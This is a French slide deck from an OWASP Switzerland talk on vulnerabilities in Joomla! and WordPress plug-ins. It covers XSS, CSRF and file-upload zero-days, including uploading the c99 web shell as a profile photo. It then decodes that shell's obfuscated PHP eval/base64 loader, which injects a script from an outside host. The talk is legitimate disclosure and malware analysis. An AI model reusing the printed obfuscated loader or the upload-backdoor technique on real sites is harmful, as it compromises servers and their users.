Upload
sylviane-dubos
View
107
Download
1
Embed Size (px)
Citation preview
Chapter meeting17 février 2011
@ HEIG-VD Yverdon-Les-Bains
0-days: le diable se cache dans les plug-insDurée: 45 minutes
Flora Bottaccio, Sebastien AndrivetADVtools SARL (Genève, Suisse)
Qui sommes-nous?
Flora BottaccioAnalyste sécurité (ADVtools)
Sebastien AndrivetDirecteur (ADVtools)
Compétences:• Tests d’intrusion• Audits• Forensic• Diagnostic de problèmes (réseau, applications, bases de données, …)• Développements (cryptographie, signatures électroniques, …)
2 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Agenda
• WordPress, Joomla!• Sécurité• Les plug-ins• 0-days - Démos• C99• Q & R
3 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress, Joomla!
• Ce sont des “Content Management Systems”, des systèmes de gestion de contenu
• Avec TYPO3, WordPress et Joomla! sont les leaders du marché des CMS “open-source” en Suisse
• Dans le monde, les leaders sont WordPress, Joomla! et Drupal
• Les chiffres exactes dépendent du point de vue (les plus installés, les plus utilisés, etc.)
4 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Plug-ins
• WordPress et Joomla! sont des systèmes extensibles
• Certaines de ces extensions sont appelées plug-ins
• Ces plug-ins sont une des raisons du succès de ces CMS: on trouve facilement des plug-ins pour tout et ils sont faciles à installer
• Mais est-ce compatible avec la sécurité ?
5 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Sécurité
• Le mot “sécurité” peut vouloir dire différentes choses
• Pour les fournisseurs de produits, “sécurité” signifie souvent “gestion des utilisateurs, des rôles et des droits”
• Ici, nous parlons plutôt d’attaques, d’injections, de cross-site scripting et de cross-site request forgery
6 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Joomla!
• CMS libre et open source (GNU GPL)• PHP + MySQL• Fork (évolution) du projet Mambo• Très modulaire• 2005: Version 1.0• 2008: Version 1.5• 2011 (10 janvier): version 1.6
7 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Sécurité de Joomla!• Version 1.0: Quasiment rien• Version 1.5:
– Filtrage des données– Audit des requêtes SQL– Plus de chemin variable– Meilleure gestion des sessions (session ID)– Pas de gestion fine des accès à la base de données
• Version 1.6: Trop récente, pas évaluée• Il existe un «Secure Coding Guideline»
8 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Joomla!: Cross-Site Scripting (XSS)
• JRequest– Filtrage des entrées– Gestion des guillemets (magic quotes)– En lieu et place de $_GET, $_POST, $_REQUEST– Mais ne “comprend” pas le SQL
• Rien pour la partie sortie (output)• C’est au développeur de penser à utiliser les
bonnes méthodes
9 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Joomla!: Téléchargement (upload)
• Le framework peut aider (un peu):– JFile:makeSafe– JPath::clean– JFile::upload
• Mais c’est au développeur d’ajouter le bon code au bon endroit
• Il est très facile de faire des erreurs
10 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Joomla!: Injections SQL
• JRequest ne peut pas vous aider• MySQL permet les procédures stockées, mais
à partir de la version 5• Joomla! n’utilise ni les procédures stockées ni
les requêtes paramétrées• Tout le travail est laissé au développeur. A part
les recommandations du Secure Coding Guide, il n’y a rien.
11 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Joomla!: Cross-Site Request Forgery
• Système de jeton• Les jetons sont gérés par Joomla! mais c’est au
développeur d’ajouter le bon code au bon endroit:– echo JHTML::_( 'form.token' );– JRequest::checkToken();
12 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Joomla! - En résumé
• Le Secure Coding Guide est un bon point de départ. Mais il est court, partiel et contestable sur certaines recommandations.
• Joomla! fournit quelques API pour sécuriser, mais rien n’est automatique
• Quasiment rien pour l’injection SQL• L’équipe de Joomla! a fait un réel effort pour
Joomla! lui-même. Mais quand est-il des plug-ins ?
13 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress
• CMS libre et open source (GNU GPL)• PHP + MySQL• Fork (évolution) du projet b2• A l’origine du service WordPress.com
14 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Historique de WordPress(simplifiée)
• 2003: Version 0.7• 2004: 1.0 (Miles Davis), 1.2 (Charles Mindus)• 2005: 1.5 (Billy Strayhorn)• Fin 2005: 2.0 (Duke Elligton)• 2007: 2.1 (Ella Fitzgerald )• 2008: 2.5 (Michael Brecker)• 2009: 2.9 (Carmen McRae)• 2010: 3.0 (Thelonious Monk)• 2011: 3.1 (RC 3 sortie fin janvier)15 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Sécurité de WordPress
• Faille de sécurité critique corrigée le 29 décembre 2010 (version 3.0.4): XSS
• Pas de «Secure Coding Guide» ou équivalent• OWASP peut aider (cf. références) mais reste
générique• A part «Security is an interesting topic», pas
grand-chose sur WordPress.org• La page «Data Validation» est ce qui se
rapproche le plus d’un «Coding Guide»16 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress: Cross-Site Scripting (XSS)
• Entrée:– Pas grand chose
• Sortie: – wp_specialchars (déprécié), esc_html, esp_html_e– attribute_escape (déprécié), esc_attr, esc_attr_e– clean_url, sanitize_url (déprécié), esc_url– js_escape (déprécié), esc_js
• Note: exactement l’inverse de Joomla! (!)17 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
XSS: Erreur commune
• Code faux:<input value="<?php echo wp_specialchars( $xss ); ?>" />
• C’est un attribut. Le code correct:<input value="<?php echo attribute_escape( $xss ); ?>" />
• Ou mieux:<input value="<?php esc_attr_e( $xss ); ?>" />
18 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress: Téléchargement (upload)
• validate_file, et encore (et où est la doc ?)• Sinon, rien
19 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress: Injections SQL
• intval, absint• insert, update, prepare
– Les données vont être modifiées (escape) pour éviter les injections SQL
• esc_sql, like_escape
• Là encore, c’est l’inverse de Joomla!
20 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress: Cross-Site Request Forgery
• NONCE (Number used once)• Les jetons sont gérés par WordPress mais c’est
au développeur d’ajouter le bon code au bon endroit:– wp_nonce_field– wp_verify_nonce– check_admin_referer
21 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
WordPress - En résumé
• Pas de Secure Coding Guide, juste quelques articles ça et là
• Rien n’est automatique• Meilleur que Joomla! contre les injections SQL• Philosophie diamétralement opposée à
Joomla! concernant la validation (entrée versus sortie)
• Quand est-il des plug-ins ?
22 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
En pratique: 0-days
• Joomla!:– CBProfileGallery (XSS)– JoomGallery (CSRF)– ProjectFork (CSRF)
• WordPress– UserPhoto (file injection)
• Ce choix de plug-ins est totalement arbitraire
23 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
0-day: Joomla! | CBProfileGallery
24 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
CBProfileGallery - XSS
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
25
Pourquoi ?• Joomla! est supposé filtrer les données (JRequest),
mais ce composant est basé sur Community Builder (CB), un ensemble d’extensions de Joomla!
• CB court-circuite totalement Joomla! et utilise ses propres méthodes:– _getReqParam (cbGetParam) au lieu de Jrequest– Filtre également, mais dans ce cas, le filtrage est
déficient• Le code laisse penser qu’une injection SQL est
également possible
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201126
OWASP Application Security Verification Standard 2009
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201127
OWASP Application Security Verification Standard 2009
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201128
OWASP Code Review Guide 2008 (1.1)
• «Reviewing code for cross-site scripting», page 153 et suivante
• “To mitigate this type of vulnerability we need to perform a number of security tasks in our code:– 1. Validate data– 2. Encode unsafe output”
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201129
OWASP Testing Guide 2008 (3.0)
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201130
0-day: Joomla! | ProjectFork
31 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
JoomGallery - CSRF
• L’attaque reste limitée dans ce cas précis: attaque uniquement sur un POST
• Cela ne marche pas sous IE 7/8/9, mais en général très bien sous Firefox (third-party cookies)
• Il y a d’autres cas où l’attaque est plus simple: démo suivante
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201132
0-day: Joomla! | JoomGallery
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
33
Attaque
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
34
Après l’attaque
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
35
Pourquoi ?
• Cette attaque CSRF est cette fois sur un GET• Toutes les méthodes du composant sont
concernées par les attaques CSRF• Le développeur a oublié le jeton (token) • JRequest, par défaut, retourne indifféremment
les paramètres POST et GET. Cela augmente la surface d’attaque.
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201136
OWASP Application Security Verification Standard 2009
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201137
OWASP Code Review Guide 2008 (1.1)
• “[…] checking if the request has a valid session cookie is not enough, we need check if a unique identifier is sent with every HTTP request sent to the application” (page 163)
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201138
0-day: WordPress | User Photo
39 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Profil
40 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Interception de la requête HTTP
41 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Backdoor téléchargée
• Le composant n’a pas vu que ce n’était pas une image
42 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Backdoor (c99 par exemple)
43 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
User Photo: Bonus• Il y a aussi un XSS (de type 2)…
44 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Est-ce que User Photo est utilisé ?
45 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
OWASP
• OWASP Testing Guide:– OWASP-DV-015 «Incubated vulnerability»
• OWASP Code Review Guide:– Pas explicitement abordé
• OWASP Application Security Verification Standard:– Pas explicitement abordé
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.201146
• WordPress User Photo:– Auteur et mainteneur du composant contacté: pas
de réponse– Advisory publié ce matin (17 Février 2011)
• Autres composants:– Pas de publication
Publication
47 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
c99: un cheval de Troie dans la backdoor ?
• Pour la démo, nous avons utilisé la Backdoor bien connue “c99”
• Il en existe de multiples versions• Certaines versions sont encryptées pour éviter
la détection par des Anti-Virus• Mais certaines versions contiennent quelque
chose de plus exotique…
48 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
c99 - images
• Ce shell PHP contient ce genre de code:
"change"=>"R0lGODlhFAAUAMQfAL3hj7nX+pqo1ejy/f7YAcTb+8vh+6FtH56WZtvr/RAQEZecx9Ll/PX6/v3+/3eHt6q88eHu/ZkfH3yVyIuQt+72/kOm99fo/P8AZm57rkGS4Hez6pil9oep3GZmZv///yH5BAEAAB8ALAAAAAAUABQAAAWf4CeOZGme6NmtLOulX+c4TVNVQ7e9qFzfg4HFonkdJA5S54cbRAoFyEOCwSiUtmYkkrgwOAeA5zrqaLldBiNMIJeD266XYTgQDm5Rx8mdG+oAbSYdaH4Ga3c8JBMJaXQGBQgACHkjE4aQkQ0AlSITan+ZAQqkiiQPj1AFAaMKEKYjD39QrKwKAa8nGQK8Agu/CxTCsCMexsfIxjDLzMshADs=",
• C’est en fait une image encodée en base64. Rien de suspect.
49 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Mais…
• Il contient aussi (suivant les versions):$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQS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wbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
50 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Cryptool 2
• Essayons de décoder ce code. Plutôt que de le faire à la main, utilisons Cryptool 2.
• “Cryptool is a free, open-source e-learning application, used worldwide in the implementation and analysis of cryptographic algorithms”– www.cryptool.org
• La version 1.4.30 est stable, mais avec une interface à la “Windows 95” et écrite en C++
• Le version 2.0 est moins stable, mais plus graphique et écrite en C#/WPF
51 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Exemple simple de Cryptool
52 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
URL Encode pour Cryptool 2
• Nous allons devoir manipuler des URL (encode/decode – escape/unescape)
• Il n’y a pas d’algorithme pour cela dans Cryptool 2
• Nous avons donc créé notre propre plug-in pour Cryptool 2
• Sera accessible (freeware) sur: www.advtools.com/cryptool
53 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
c99
$_F=__FILE__;$_X='Pz48c2NyNHB0IGwxbmczMWc1PWoxdjFzY3I0cHQ+ZDJjM201bnQud3I0dDUoM241c2MxcDUoJyVvQyU3byVlbyU3YSVlOSU3MCU3dSVhMCVlQyVlNiVlRSVlNyU3aSVlNiVlNyVlaSVvRCVhYSVlQSVlNiU3ZSVlNiU3byVlbyU3YSVlOSU3MCU3dSVhYSVvRSVlZSU3aSVlRSVlbyU3dSVlOSVlRiVlRSVhMCVldSV1ZSVhOCU3byVhOSU3QiU3ZSVlNiU3YSVhMCU3byVvNiVvRCU3aSVlRSVlaSU3byVlbyVlNiU3MCVlaSVhOCU3byVhRSU3byU3aSVlYSU3byU3dSU3YSVhOCVvMCVhQyU3byVhRSVlQyVlaSVlRSVlNyU3dSVlOCVhRCV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YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
55 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Etape #1eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));
56 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Etape #2
57 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Etape #3
César !!!58 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Etape #4
59 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Démo
Résultat
• Ce code est donc finalement:<SCRIPT SRC=http://jino.ji.funpic.org/lq/security.js></SCRIPT>
• Une inclusion de script, l’équivalent d’un XSS• Cette adresse ne répond plus depuis un
moment (404)• On retrouve cette URL pour plusieurs shells
(benladen shell, …)• Un mouchard ?
60 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
• Joomla! et WordPress ne suivent que partiellement les recommandations telles que celles d’OWASP.
• Ils ont une approche parfois opposée.• Tout le travail est laissé aux bons soins des
développeurs.• Concernant les plug-ins, c’est la roulette russe.
Conclusion
61 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Références• Rapport Décembre 2010 de netobservatory.ch:
http://www.netobservatory.ch/report/pdf/NetObs_Report_01.12.2010.pdf• Water and Stone 2010 Open Source CMS Market Share Report• Wordpress Exploit Scanner
http://wordpress.org/extend/plugins/exploit-scanner/• Secure Coding with WordPress
http://www.slideshare.net/markjaquith/secure-coding-with-wordpress-wordcamp-sf-2008-presentation-559310
(attention, recommande des fonctions dépréciées)• WordPress Data Validation
http://codex.wordpress.org/Data_Validation• Joomla! Secure Code Guidelines
http://docs.joomla.org/Secure_coding_guidelines• Hardening WordPress
http://codex.wordpress.org/Hardening_WordPress62 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Références• OWASP A Guide to Building Secure Web Applications and Web Services 2.0.1
(2005)http://switch.dl.sourceforge.net/project/owasp/Guide/2.0.1/OWASPGuide2.0.1.pdf
• OWASP Application Security Verification Standard 2009 – Web Application Standard
• OWASP Code Review Guide 2008 v1.1• OWASP Testing Guide 2008 v3.0• OWASP Top 10 2010 Edition• Cryptool
http://www.cryptool.org/
63 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Questions?
64
© flickr.com
/people/eleaf
OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011
Merci!
Pour nous contacter:
[email protected]@advtools.com
http://www.advtools.com/blog
65 OWASP Switzerland – Geneva Chapter Meeting @ HEIG-VD (Yverdon-Les-Bains) – Feb.2011